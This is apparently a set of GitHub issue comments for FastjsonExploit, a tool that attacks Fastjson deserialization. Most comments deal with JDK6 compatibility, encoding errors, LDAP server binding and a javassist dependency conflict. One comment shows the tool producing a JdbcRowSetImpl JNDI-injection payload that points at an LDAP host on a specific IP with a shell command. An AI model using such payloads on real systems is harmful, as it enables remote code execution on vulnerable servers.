c0ny1 / fastjsonexploit Goto Github PK

当使用mvn编译的时候，发现只支持jdk7+。但是好多目标环境都是使用的jdk6的版本，所以攻击失败。
因为jdk向下兼容的原因，建议修改mvn打包的依赖为jdk6。

在windows下进行mvn clean package -DskipTests编译是，出现编码gbk的不可映射字符
可以在pom.xml文件中增加以下内容解决

<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

C:\Users\Limite\Desktop\FastjsonExploit\target>java -jar FastjsonExploit-0.1-beta2-all.jar JdbcRowSetImpl1 ldap://111.229.24.83:8090/Exploit "/bin/bash -c ls"
[*] payload build success!

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://111.229.24.83:8090/Exploit","autoCommit":true}没有执行系统命令

Please just explicitly change the ip here to "0.0.0.0", If you don't do so, the java will throw a BindException for incorrect IP address to bind under NAT VPS like Aliyun (Internal IP on your network interface, but public IP with NAT).

Hi, in FastjsonExploit, duplicate classes with the same fully-qualified name javassist.bytecode.ConstPool.addUtf8Info are included in two different libraries, i.e., javassist:javassist:3.12.0.GA and org.javassist:javassist:3.18.2-GA.

According to "first declaration wins" class loading strategy, only this class in org.javassist:javassist:3.18.2-GA can be loaded, and that in javassist:javassist:3.12.0.GA will be shadowed.

By further analyzing, your project expects to invoke method javassist.bytecode.ConstPool.addUtf8Info in javassist:javassist:3.12.0.GA. As it has been shadowed, so that this method defined in org.javassist:javassist:3.18.2-GA are actually forced to be referenced via the following invocation path:

<gadget.Gadget: getBasicDataSource1ExpCode(Ljava/lang/String;)[B> /root/sensor/unzip/FastjsonExploit-master/target/classes
<javassist.CtClassType: makeClassInitializer()Ljavassist/CtConstructor;> /root/.m2/repository/javassist/javassist/3.12.0.GA/javassist-3.12.0.GA.jar
<javassist.CtClassType: modifyClassConstructor(Ljavassist/bytecode/ClassFile;Ljavassist/bytecode/Bytecode;II)V> /root/.m2/repository/javassist/javassist/3.12.0.GA/javassist-3.12.0.GA.jar
<javassist.bytecode.MethodInfo: <init>(Ljavassist/bytecode/ConstPool;Ljava/lang/String;Ljava/lang/String;)V> /root/.m2/repository/javassist/javassist/3.12.0.GA/javassist-3.12.0.GA.jar
<javassist.bytecode.ConstPool: addUtf8Info(Ljava/lang/String;)I>

Workaround solution:
An easy way to workaround the problem is reversing the declaration order of these two libraries (i.e., reverse the declaration order of httpclient and maven-resolver-transport-http) in pom file.
Then, according to "first declaration wins" class loading strategy, class javassist.bytecode.ConstPool.addUtf8Info in javassist:javassist:3.12.0.GA can be loaded (the version that FastjsonExploit expects to reference by static analysis).
This fix will not affect other libraries or class, except the above duplicate class.

Dependency tree---

[INFO] me.gv7.tools:FastjsonExploit:jar:0.1-beta2
[INFO] +- org.reflections:reflections:jar:0.9.9:compile
[INFO] | +- com.google.guava:guava:jar:15.0:compile
[INFO] | +- org.javassist:javassist:jar:3.18.2-GA:compile
[INFO] | - com.google.code.findbugs:annotations:jar:2.0.1:compile
[INFO] +- org.apache.tomcat:tomcat-catalina:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-servlet-api:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-jsp-api:jar:9.0.20:compile
[INFO] | | - org.apache.tomcat:tomcat-el-api:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-juli:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-annotations-api:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-api:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-jni:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-coyote:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-util:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-util-scan:jar:9.0.20:compile
[INFO] | - org.apache.tomcat:tomcat-jaspic-api:jar:9.0.20:compile
[INFO] +- com.unboundid:unboundid-ldapsdk:jar:3.1.1:compile
[INFO] +- com.alibaba:fastjson:jar:1.2.24:compile
[INFO] +- org.apache.ibatis:ibatis-core:jar:3.0:compile
[INFO] +- org.apache.directory.studio:org.apache.commons.io:jar:2.4:compile
[INFO] | - commons-io:commons-io:jar:2.4:compile
[INFO] +- org.apache.directory.studio:org.apache.commons.codec:jar:1.8:compile
[INFO] | - commons-codec:commons-codec:jar:1.8:compile
[INFO] +- org.apache.tomcat:tomcat-dbcp:jar:7.0.0:compile
[INFO] +- xalan:xalan:jar:2.7.2:compile
[INFO] | - xalan:serializer:jar:2.7.2:compile
[INFO] | - xml-apis:xml-apis:jar:1.3.04:compile
[INFO] +- org.springframework:spring-beans:jar:4.3.7.RELEASE:compile
[INFO] | - org.springframework:spring-core:jar:4.3.7.RELEASE:compile
[INFO] | - commons-logging:commons-logging:jar:1.2:compile
[INFO] +- org.springframework:spring-context:jar:4.3.7.RELEASE:compile
[INFO] | - org.springframework:spring-expression:jar:4.3.7.RELEASE:compile
[INFO] +- org.springframework:spring-aop:jar:4.3.7.RELEASE:compile
[INFO] +- org.apache.xbean:xbean-naming:jar:4.5:compile
[INFO] +- commons-dbcp:commons-dbcp:jar:1.4:compile
[INFO] | - commons-pool:commons-pool:jar:1.5.4:compile
[INFO] - javassist:javassist:jar:3.12.0.GA:compile

Thank you very much.
Best,
Coco

mvn编码不对，rmi用不了